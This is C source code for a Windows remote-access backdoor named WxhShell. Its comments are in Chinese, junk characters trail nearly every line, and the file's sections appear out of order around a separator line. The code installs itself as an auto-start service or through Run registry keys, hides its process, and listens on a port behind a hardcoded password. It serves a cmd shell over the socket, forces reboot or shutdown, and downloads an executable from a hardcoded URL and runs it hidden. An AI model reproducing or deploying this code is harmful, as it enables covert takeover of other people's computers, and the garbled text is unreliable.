    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J9aqmQj('  
    if(Boot(SHUTDOWN)) 0'wchy>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  +_E^E  
    else { ^!&6z4DP  
    closesocket(wsh); 3CL1Z\8To  
    ExitThread(0); _[)f<`!g_V  
    } Hk&op P9)  
    break; ^wass_8  
    } qwhDv+o  
  // 获取shell >EE}P|=-  
  case 's': { M./1.k&@  
    CmdShell(wsh); /{6&99SJcc  
    closesocket(wsh); &t)$5\r  
    ExitThread(0); z }3` 9  
    break; t@X{qm:%Z  
  } 8'WoG]E_  
  // 退出 r+=%Ag  
  case 'x': { 9'5<b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?)NgODU  
    CloseIt(wsh); C#qF&n  
    break; i.Rxx, *?  
    } pyUzHF0  
  // 离开 Fs$mLa  
  case 'q': { *@;bWUJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GG &J  
    closesocket(wsh); L"8Z5VHA&&  
    WSACleanup(); hTc :'vq  
    exit(1); g"{`g6(+  
    break; Kz~E"?  
        } i[Qq,MmC  
  } [n]C  
  } Six2{b)p  
xs 1V?0  
  // 提示信息 B_DyH C\<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h ?_@nQ!  
} xiv8q/  
  } Vp$<@Y  
@[LM8 @:  
  return; nt:ZO,C:R  
} :(Ak:  
HXm&`  
// shell模块句柄 3>>Ca;>$  
int CmdShell(SOCKET sock) KzZfpdI92  
{ ilRPV'S^  
STARTUPINFO si; /'4]"%i%3  
ZeroMemory(&si,sizeof(si)); -e\OF3 Td  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]FNe&o1zX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $bU.6  
PROCESS_INFORMATION ProcessInfo; /&N\#;kK?b  
char cmdline[]="cmd"; 5X PoQ^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5Lm-KohT'  
  return 0; ;.66phe  
} dvE~EZcS  
42f\]R,  
// 自身启动模式 T O&^%d  
int StartFromService(void) |F4)&xN\  
{ [jz@d\k$_  
typedef struct HQZJK82  
{ wZ5k|5KtW  
  DWORD ExitStatus; HCKocL/]h  
  DWORD PebBaseAddress; _BEDQb{"|  
  DWORD AffinityMask; x.9[c m-!  
  DWORD BasePriority; yxtfyf|9 '  
  ULONG UniqueProcessId; I!"/I8Y  
  ULONG InheritedFromUniqueProcessId; !eHQe7_  
}   PROCESS_BASIC_INFORMATION; 5d;(D i5z  
L)i6UAo  
PROCNTQSIP NtQueryInformationProcess; B='(0Uxy-  
}S"qU]>8a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hbe";(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W K(GR\@  
vL#I+_ 2  
  HANDLE             hProcess; tUksIUYD\  
  PROCESS_BASIC_INFORMATION pbi; Cp?6vu|RA  
"#:h#uRUb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~tLvD[n[  
  if(NULL == hInst ) return 0; C1#f/o->  
ki'<qa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); = Rn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RDU 'l^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,V9 r2QY  
.?5~zet#;  
  if (!NtQueryInformationProcess) return 0; vA{DF{S 4  
&lo<sbd.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HHerL%/   
  if(!hProcess) return 0; hWiHKR]  
e<{waJ1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aA -j  
KBoW(OP4'  
  CloseHandle(hProcess); vjVa),2  
Z6zLL   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [x%8l,O #l  
if(hProcess==NULL) return 0; eNK6=D|  
y(*5qa<>  
HMODULE hMod; {`Z= LLL  
char procName[255]; HqI[]T@  
unsigned long cbNeeded; Y=i_2R2e2  
KGf@d*ZOMz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k$.l^H u  
{z9,CwJan?  
  CloseHandle(hProcess); I* P xQ  
Uw?25+[b  
if(strstr(procName,"services")) return 1; // 以服务启动 yO/'}FD  
g7w#;E  
  return 0; // 注册表启动 r3Kx  
} /g1;`F(MS/  
I-Q(kWc  
// 主模块 L<G6)'5W  
int StartWxhshell(LPSTR lpCmdLine) /eBcPu"[Vb  
{ ? <w[ZWytm  
  SOCKET wsl; 'JO}6 ;W  
BOOL val=TRUE; |fb*<o eT  
  int port=0; *&5./WEOH  
  struct sockaddr_in door; uG+eF  
1wE`kbC<  
  if(wscfg.ws_autoins) Install(); [B^V{nUBc  
&Z}}9dd  
port=atoi(lpCmdLine); pf#R]  
Z1h6Y>j  
if(port<=0) port=wscfg.ws_port; -^*8D(j*  
]vuxeu[cu,  
  WSADATA data; djn<Oc`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5>:p'zI  
Va4AE)[/*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -j^G4J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _QtW)\)5 \  
  door.sin_family = AF_INET; o9v.]tb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w uhL r(  
  door.sin_port = htons(port); { )4@rM  
+3pfBE|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MnQ 6 !1Z  
closesocket(wsl); ]>0$l _V  
return 1; %+dRjG~TB  
} 6|Crc$4l  
QbYNL9%  
  if(listen(wsl,2) == INVALID_SOCKET) {  "2 }n(8  
closesocket(wsl); Q@s G6 iz  
return 1; {\ VmNnw  
} /AIFgsaY  
  Wxhshell(wsl); ; X/'ujg  
  WSACleanup(); :FixLr!q  
618bbftx{  
return 0; :io~{a#.2\  
t&C0V|s79$  
} m xy=3cUi  
r3YfY \  
// 以NT服务方式启动 QaOF l` i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1 y7$"N8Xo  
{ _Ry  
DWORD   status = 0; @iVEnb.'  
  DWORD   specificError = 0xfffffff; ZO\bCrk  
(DM8PtZg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d 8z9_C-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L @8[.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?`B6I!S0[  
  serviceStatus.dwWin32ExitCode     = 0; +7t:/_b~  
  serviceStatus.dwServiceSpecificExitCode = 0; S3dcE"hg  
  serviceStatus.dwCheckPoint       = 0; Egl1$,e  
  serviceStatus.dwWaitHint       = 0; i;#AW($+a  
E;r~8^9)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,27=i>>  
  if (hServiceStatusHandle==0) return; } d7o-  
2yV {y#\   
status = GetLastError(); VjSA& R  
  if (status!=NO_ERROR) s3)T}52  
{ >kV=h?]Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H"rIOoxf  
    serviceStatus.dwCheckPoint       = 0; Bs-MoT!  
    serviceStatus.dwWaitHint       = 0; ."j*4  
    serviceStatus.dwWin32ExitCode     = status; ZQ~EaI9R  
    serviceStatus.dwServiceSpecificExitCode = specificError; .a|ROjd!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XOzZtt  
    return; n{E + r  
  } 1gH>B5`  
Byns6k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p{JE@TM  
  serviceStatus.dwCheckPoint       = 0; 3UGdXufw  
  serviceStatus.dwWaitHint       = 0; p|=0EWo4U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vFGVz  
} ,) }-mu  
iu'rc/=V  
// 处理NT服务事件,比如:启动、停止 3]/Y= A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `{\10j*B  
{ SA6.g2pFz  
switch(fdwControl) j"<F?k@`Q  
{ [u8JqX  
case SERVICE_CONTROL_STOP: V[">SiOg  
  serviceStatus.dwWin32ExitCode = 0; 1L.yh U\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +C(/.X Kz%  
  serviceStatus.dwCheckPoint   = 0; E2|c;{ c  
  serviceStatus.dwWaitHint     = 0; W.<I:q`eO  
  { J]Qbg7|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [M:BJ%*  
  } D^2yP~(  
  return; +|Qe/8Q  
case SERVICE_CONTROL_PAUSE: !'%`g,,r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UyOoyyd.  
  break; $@L}/MO  
case SERVICE_CONTROL_CONTINUE: YRP$tz+ _  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j*1O(p+  
  break; ?;Ge/~QU5  
case SERVICE_CONTROL_INTERROGATE: b%I2ig  
  break; .sbV<ulbc  
}; qgsKbsl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4N{^niq7  
} b~m|mb$  
%-[U;pJe;  
// 标准应用程序主函数 AY%Y,< a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w24@KaKFo  
{ Y&`nB,'  
qXQ7Jg9  
// 获取操作系统版本 2o-Ie/"d\  
OsIsNt=GetOsVer(); )V*V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U*Pi%J  
r1X\$&  
  // 从命令行安装 }Z\PE0  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0Bhf(5  
Q u@T}Ci  
  // 下载执行文件 +wg|~Lef h  
if(wscfg.ws_downexe) { L-(.v*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fmq9u(!R  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZfN%JJOz(  
} SgPvQ'\  
EXYr_$gRs  
if(!OsIsNt) { W%cJ#R[o  
// 如果时win9x,隐藏进程并且设置为注册表启动 g"L$}#iTsl  
HideProc(); fRd^@@,[  
StartWxhshell(lpCmdLine); v/WvT!6V`  
} Gd%E337d  
else nc.X+dx:  
  if(StartFromService()) *f$wmZ5A  
  // 以服务方式启动 WT>2eMK[  
  StartServiceCtrlDispatcher(DispatchTable); RgT|^|ZA  
else )]5}d$83  
  // 普通方式启动 }W k!):=y  
  StartWxhshell(lpCmdLine); QWV12t$v  
B>M@'  
return 0; Q{+&3KXH  
} }Qm: g  
Ox1#}7`0>  
R7d45Wl  
]\5?E }kd  
=========================================== B @8 ]!  
(-U6woB6o  
 mVuZ} `  
NJraol  
J M,ndl  
?ydqmj2[F  
" m|w-}s,  
>HY( Ij<  
#include <stdio.h> ^5 sO;vf  
#include <string.h> rt[w yz8  
#include <windows.h> %Cz&7qf"  
#include <winsock2.h> |[}!E/7>b  
#include <winsvc.h> yk| < P\  
#include <urlmon.h> fSFb)+  
g",htYoEnj  
#pragma comment (lib, "Ws2_32.lib") [~<X|_L G  
#pragma comment (lib, "urlmon.lib") U6@Hgi>  
B#T4m]E/  
#define MAX_USER   100 // 最大客户端连接数 8vLaSZ="[  
#define BUF_SOCK   200 // sock buffer Yq?FiE0  
#define KEY_BUFF   255 // 输入 buffer VgO:`bDF  
@H^Yf  
#define REBOOT     0   // 重启 <,!e*V*U  
#define SHUTDOWN   1   // 关机 AsW!GdIN  
hc;8Vsa  
#define DEF_PORT   5000 // 监听端口 RrGFGn{  
MIJ^ n(-G  
#define REG_LEN     16   // 注册表键长度 vP{22P  
#define SVC_LEN     80   // NT服务名长度 R6A{u(  
=k\V~8XZ  
// 从dll定义API fGtUr _D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j:;[Y`2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :"9P {xe^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $R2iSu{kO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W5^m[,GU'  
w+NdEE4H9z  
// wxhshell配置信息 MM*B.y~TxZ  
struct WSCFG { .A. VOf_  
  int ws_port;         // 监听端口 As;@T$G  
  char ws_passstr[REG_LEN]; // 口令 5QR=$?K  
  int ws_autoins;       // 安装标记, 1=yes 0=no U2u\Q1  
  char ws_regname[REG_LEN]; // 注册表键名 ^"e|)4_5\  
  char ws_svcname[REG_LEN]; // 服务名 D!- 78h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dC7YVs_,#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $-}a<UFE;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .m]"lH*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |KHaL?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `H.~ # $  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,X05&'@Z  
a$*)d($  
}; N:]71+  
Wz~=JvRHh  
// default Wxhshell configuration s?8vs%(l  
struct WSCFG wscfg={DEF_PORT, 1yS [;  
    "xuhuanlingzhe", W'BB FG  
    1, .m&JRzzV  
    "Wxhshell", *t JgQ[  
    "Wxhshell", :4f>S) m  
            "WxhShell Service", GEdWpYKS-`  
    "Wrsky Windows CmdShell Service", \CP)$0j-&o  
    "Please Input Your Password: ", 5*ip}wA  
  1, G>/Gw90E  
  "http://www.wrsky.com/wxhshell.exe", -.>b7ui  
  "Wxhshell.exe" Nm.H  
    }; K\7\  
p=7{  
// 消息定义模块 QU]& q`GE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fZqqU|tq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !y&uK&1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,dTRM  
char *msg_ws_ext="\n\rExit."; ;wi}6rF%[i  
char *msg_ws_end="\n\rQuit."; zq=X;}qYj  
char *msg_ws_boot="\n\rReboot..."; a5/6DK>  
char *msg_ws_poff="\n\rShutdown..."; b1(7<o  
char *msg_ws_down="\n\rSave to "; 3 %ppvvQ  
x +=zG4Hm  
char *msg_ws_err="\n\rErr!"; 4;]<#u  
char *msg_ws_ok="\n\rOK!"; 1VlRdDg  
ADTx _tE  
char ExeFile[MAX_PATH]; /!l$Y?  
int nUser = 0; b ?p <y`  
HANDLE handles[MAX_USER]; X0\2qD  
int OsIsNt; .$r=:k_d  
)"W(0M] >  
SERVICE_STATUS       serviceStatus; Z r}5)ZR.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qgT~yDm  
CEwMPPYnD  
// 函数声明 |,3>A@  
int Install(void); TSGJ2u5ie%  
int Uninstall(void);  `UC  
int DownloadFile(char *sURL, SOCKET wsh); #Sxk[[KwH*  
int Boot(int flag); cjf 8N:4N0  
void HideProc(void); .l| [e  
int GetOsVer(void); 66P'87G  
int Wxhshell(SOCKET wsl); #y<KO`Es  
void TalkWithClient(void *cs); iYqZBLf{S  
int CmdShell(SOCKET sock); cBZK t  
int StartFromService(void); 4GA9oLl  
int StartWxhshell(LPSTR lpCmdLine); $>PXX32  
iP7 Cku}l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5s=ZA*(sY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CFm( yFk  
NUlp4i~Q  
// 数据结构和表定义 D5o[z:V7"  
SERVICE_TABLE_ENTRY DispatchTable[] = S>-x<'Os  
{ Z*+0gJ<Y  
{wscfg.ws_svcname, NTServiceMain}, i `m&X6)\j  
{NULL, NULL} YP^=b}  
}; JHxy_<p/  
/s@t-gTi  
// 自我安装 'jw?XtG  
int Install(void) rBOxI  
{ #GDnV/0)  
  char svExeFile[MAX_PATH]; m#}41<  
  HKEY key; 9O8na 'w  
  strcpy(svExeFile,ExeFile); MI: rH  
-/x= `S*  
// 如果是win9x系统,修改注册表设为自启动 m* Zq3j  
if(!OsIsNt) { :y/1Jf'2f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 03ol6y )C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #ujry. m  
  RegCloseKey(key); J`E,Xw>2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `D44I;e^1;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ($Cy-p  
  RegCloseKey(key); #%4XZ3j#j;  
  return 0; "!V-@F$@N  
    } R`[jkJrc  
  } ''bh{ .x  
} DFgQ1:6[  
else { ?Uq;>  
z\d{A7  
// 如果是NT以上系统,安装为系统服务 8 #m,TOp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); InO;DA\  
if (schSCManager!=0) prHM}n{0  
{ s+tPHftp  
  SC_HANDLE schService = CreateService Wq5 }SM  
  ( k? <.yr1  
  schSCManager, !lVOZ %  
  wscfg.ws_svcname, _Sq*m=  
  wscfg.ws_svcdisp, ?/M:  
  SERVICE_ALL_ACCESS, ;u+k! wn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x7<2K(  
  SERVICE_AUTO_START, .wU0F  
  SERVICE_ERROR_NORMAL, .tdaj6x  
  svExeFile, |r U?  
  NULL, CPW^pGT+i  
  NULL, 2)~`.CD?L  
  NULL, M_I.Y1|  
  NULL, Bi.,@7|>  
  NULL @ 0'j;")XV  
  ); Dias!$g  
  if (schService!=0) e(=() :4is  
  { D6$*#D3U  
  CloseServiceHandle(schService); 5NR@<FE  
  CloseServiceHandle(schSCManager); H[S}&l\D4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,QeJ;U  
  strcat(svExeFile,wscfg.ws_svcname); -> ^Ex`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _Gu;=H,~&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w4nU86oZYl  
  RegCloseKey(key); Y>/T+ub  
  return 0; (-no`j  
    } 5}3#l/  
  } L">\c5ca  
  CloseServiceHandle(schSCManager); rD\)ndPv  
} fT2F$U  
} x>cl$41!W  
YE*%Y["  
return 1; r|_@S[hZg  
} AMw#_8Y  
d-sT+4o}  
// 自我卸载 Q$yMU [l)  
int Uninstall(void) 5%_aN_1?ef  
{ e=cb%  
  HKEY key; K8=jkU  
Sx0/Dm  
if(!OsIsNt) { b8 ^O"oDrp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }@y(-7t  
  RegDeleteValue(key,wscfg.ws_regname); oH,{'S@q  
  RegCloseKey(key); gTS} 'w{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W ZT) LYA  
  RegDeleteValue(key,wscfg.ws_regname); YYN'LF#j  
  RegCloseKey(key); 4St-Q]Y _  
  return 0; BXb=N E  
  } fTOGW`s^  
} 7D KTd^^M  
} 83adnm  
else { +SB>>  
:R-_EY$k6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q}: $F{  
if (schSCManager!=0) ]vflx^<?  
{ xZ]QT3U+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +n%d,Pz  
  if (schService!=0) @DNwzdP  
  { y;if+  
  if(DeleteService(schService)!=0) { IAHQT < ]  
  CloseServiceHandle(schService); Hl#?#A5  
  CloseServiceHandle(schSCManager); d=p=eUd2  
  return 0; Nz77" kC  
  } dq{+-XaEk  
  CloseServiceHandle(schService); )H>?K0I  
  } Kqz+:E8D  
  CloseServiceHandle(schSCManager); @<jm+f"MP  
} j"A<qI  
} 9Tg k=  
l;SXR <EU  
return 1; I7#^'/  
} aXyFpGdb9  
O'Q,;s`uC  
// 从指定url下载文件 b8 E{~z  
int DownloadFile(char *sURL, SOCKET wsh) >B<#,G  
{ 1I awi?73  
  HRESULT hr; cy(4g-b]@e  
char seps[]= "/"; 9/`3=r@  
char *token; 9SBTeJ$RZ  
char *file; K(uz`(5  
char myURL[MAX_PATH]; X<D fzd oI  
char myFILE[MAX_PATH]; @#p6C  
#tIeI6 Qw  
strcpy(myURL,sURL); sVpET  
  token=strtok(myURL,seps); #P1U] @  
  while(token!=NULL) MtVvi6T  
  { /^L <q  
    file=token; 6)PnzeYW  
  token=strtok(NULL,seps); vqAEF^HYry  
  } ;X N Ahg7  
rb*0YCi  
GetCurrentDirectory(MAX_PATH,myFILE); @6 a'p  
strcat(myFILE, "\\"); :}R,a=N  
strcat(myFILE, file); y=aWSb2y'  
  send(wsh,myFILE,strlen(myFILE),0); e*y l_iW  
send(wsh,"...",3,0); gN2oUbf8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @uz(h'~  
  if(hr==S_OK) s f.z(o  
return 0; lNsdbyV'  
else  )$GCur~  
return 1; Cw"[$E'J  
x_x_TEyyh  
} w!pj);jy{  
~z\a:+  
// 系统电源模块 8Vjv #pm  
int Boot(int flag) ~Zn|(  
{ *b_Iby-ZD  
  HANDLE hToken; }4T`)  
  TOKEN_PRIVILEGES tkp; 3B='f"G  
))dw[Xa  
  if(OsIsNt) { 1G6 \}El95  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ilXKJJda  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D~bx'Wr+  
    tkp.PrivilegeCount = 1; qW4DW4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P+Gz'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Eyz.^)r  
if(flag==REBOOT) { )4h|7^6ji  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nLOK1@,4  
  return 0; X`3_ yeQc  
}  gnkeJ}K  
else { PJ4/E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l=t/"M=  
  return 0; ,zuS)?  
} NJSbS<O  
  } o:&8H>(hn]  
  else { xkRS?Q g  
if(flag==REBOOT) { +p`BoF9~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pN)x,<M)  
  return 0; <CB%e!~.9  
} &Nh zEl1  
else { k ~Q 5Cs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F3K<-JK+  
  return 0; `zrg?  
} aOw#]pB|  
} rT=C/SKP  
lo1bj*Y2  
return 1; \#]C !JQ  
} pY[b[ezb  
^eyVEN  
// win9x进程隐藏模块 OSfT\8YA  
void HideProc(void) ,(-V<>/*.|  
{ ~1E!Co  
ce#Iu#qT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xAl8e  
  if ( hKernel != NULL ) .zl[nx[9"D  
  { F:d2;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QVJpX;u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q"D5D rj  
    FreeLibrary(hKernel); '&hd^9]Lo  
  } d"IZt;s/,  
A'rd1"K  
return; O$;#GpR  
} O9zMD8  
Dn@ZS_f  
// 获取操作系统版本 !H@HgJ -  
int GetOsVer(void) rM^2yr7H  
{ 9-V'U\}L  
  OSVERSIONINFO winfo; /t`,7y 3T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sp:4b$zX  
  GetVersionEx(&winfo); k \qFWFR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `)5WA{z  
  return 1; F\&{>&  
  else \+nV~Pi"A  
  return 0; &tvtL  
} f^*Yqa  
NtM ? Jh  
// 客户端句柄模块 Zj-U^6^L  
int Wxhshell(SOCKET wsl) i NfAn&  
{ =+K?@;?  
  SOCKET wsh; ]{# =WTp]  
  struct sockaddr_in client; RD"-(T  
  DWORD myID; }:{9!RMO  
j{r@>g;3  
  while(nUser<MAX_USER) @MVul_@6  
{ N&p0Emg  
  int nSize=sizeof(client); (&Jo. <  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (CRx'R  
  if(wsh==INVALID_SOCKET) return 1; j5Da53c#^  
4_iA<}>|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1<1+nGO  
if(handles[nUser]==0) GS=E6  
  closesocket(wsh); q?Csm\Y  
else fz`)CWo:  
  nUser++; 4ryG_p52l  
  } 1KrJS(.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8#lq:  
3~bB2APk  
  return 0; m7y[Y  
} ;5L^)Nyd  
:H3/+/x  
// 关闭 socket i0$*):b  
void CloseIt(SOCKET wsh) /hu>MZ(\  
{ jc)7FE  
closesocket(wsh); Ky"F L   
nUser--; ,dTmI{@O  
ExitThread(0); tuIZYp8tIN  
} `7w-_o %  
D-LOjMe  
// 客户端请求句柄 I=#`8deH(  
void TalkWithClient(void *cs) {&>rKCi  
{ 2b"DkJj'  
Cs[ d:T  
  SOCKET wsh=(SOCKET)cs; f$\ O:E=  
  char pwd[SVC_LEN]; &K60n6q{aQ  
  char cmd[KEY_BUFF]; _qf39fM;\  
char chr[1]; /q\e&&e  
int i,j; ~a[ /l  
bA,Zfsr6#  
  while (nUser < MAX_USER) { mi<Q3;m  
X*@ tp,t  
if(wscfg.ws_passstr) { 0&|0l>wy.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N10U&L'w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 18sc|t  
  //ZeroMemory(pwd,KEY_BUFF); 5]LWWjT  
      i=0; 5 | ,b  
  while(i<SVC_LEN) { I/tMFg  
ap )B%9  
  // 设置超时 Uzzm2OS`  
  fd_set FdRead; D0xQXC3$`  
  struct timeval TimeOut; qjhV/fsfb  
  FD_ZERO(&FdRead); F/BR#J1  
  FD_SET(wsh,&FdRead); '7el`Ff  
  TimeOut.tv_sec=8; $'3xl2T  
  TimeOut.tv_usec=0; GW;%~qH[,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PjEJ C@n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y2QX<  
g ass Od  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b{ xlW }S  
  pwd=chr[0]; s+lBai*#  
  if(chr[0]==0xd || chr[0]==0xa) { B8T$<  
  pwd=0; >*h+ N? m  
  break; `8W HVC$  
  } O1\Hx8^  
  i++; [z2UfHpt~  
    } E3O^Tg?j  
}|=/v( D  
  // 如果是非法用户,关闭 socket ]5S`y{j1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4\&Y;upy+  
} F!EiF&[\J  
QcQ%A%VIV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |A 'I!Jm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H,L{N'[Xph  
\(P?=] -  
while(1) { E|f[ #+:+  
N7J?S~x  
  ZeroMemory(cmd,KEY_BUFF); 8^ f:-5  
{:uv}4Z  
      // 自动支持客户端 telnet标准   )e?&'wa>  
  j=0; lUs$I{2_  
  while(j<KEY_BUFF) { j0mN4Ny  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i)|jLrW~e  
  cmd[j]=chr[0]; 6EyPZ{  
  if(chr[0]==0xa || chr[0]==0xd) { ZK^cG'^2|  
  cmd[j]=0; 0,t%us/q  
  break; X>o9mW  
  } PtbaC6"\  
  j++; Tl2t\z+ps  
    } )/::i O&$:  
j %gd:-tA  
  // 下载文件 +,>%Yb =EA  
  if(strstr(cmd,"http://")) { +n;nvf}(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @h{|tP%"  
  if(DownloadFile(cmd,wsh)) W[O]Aal{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^-~JkW'z  
  else ? x #K:a?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~< bpdI0  
  } jn V=giBu  
  else { V+ ("kz*  
^_bG{du  
